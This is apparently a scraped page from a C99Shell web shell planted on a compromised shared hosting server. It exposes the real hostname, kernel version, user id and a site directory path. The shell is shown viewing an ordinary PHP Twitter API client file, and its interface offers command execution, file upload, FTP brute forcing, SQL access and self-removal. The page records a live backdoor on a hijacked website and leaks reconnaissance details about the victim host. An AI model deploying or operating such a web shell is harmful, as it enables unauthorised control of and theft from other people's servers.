!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/twitter/connection/   drwxr-xr-x
Free 235.26 GB of 981.82 GB (23.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Application.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace TwitterPhp\Connection;

use 
TwitterPhp\RestApiException;

class 
Application extends Base
{
    
/**
     * @var string
     */
    
private $_consumerKey;

    
/**
     * @var string
     */
    
private $_consumerSecret;

    
/**
     * @var string
     */
    
private $_bearersToken null;

    
/**
     * @param string $consumerKey
     * @param string $consumerSecret
     */
    
public function __construct($consumerKey,$consumerSecret)
    {
        
$this->_consumerKey $consumerKey;
        
$this->_consumerSecret $consumerSecret;
    }

    
/**
     * @param string $url
     * @param array $parameters
     * @param $method
     * @return array
     */
    
protected function _buildHeaders($url,array $parameters null,$method)
    {
        return 
$headers = array(
                    
"Authorization: Bearer " $this->_getBearerToken()
                );
    }

    
/**
     * Get Bearer token
     *
     * @link https://dev.twitter.com/docs/auth/application-only-auth
     *
     * @throws \TwitterPhp\RestApiException
     * @return string
     */
    
private function _getBearerToken() {
        if (!
$this->_bearersToken) {
            
$token urlencode($this->_consumerKey) . ':' urlencode($this->_consumerSecret);
            
$token base64_encode($token);

            
$headers = array(
                
"Authorization: Basic " $token
            
);

            
$options = array (
                
CURLOPT_URL => self::TWITTER_API_AUTH_URL,
                
CURLOPT_HTTPHEADER => $headers,
                
CURLOPT_POST => 1,
                
CURLOPT_POSTFIELDS => "grant_type=client_credentials"
            
);

            
$response $this->_callApi($options);

            if (isset(
$response["token_type"]) && $response["token_type"] == 'bearer') {
                
$this->_bearersToken $response["access_token"];
            } else {
                throw new 
RestApiException('Error while getting access token');
            }
        }
        return 
$this->_bearersToken;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0099 ]--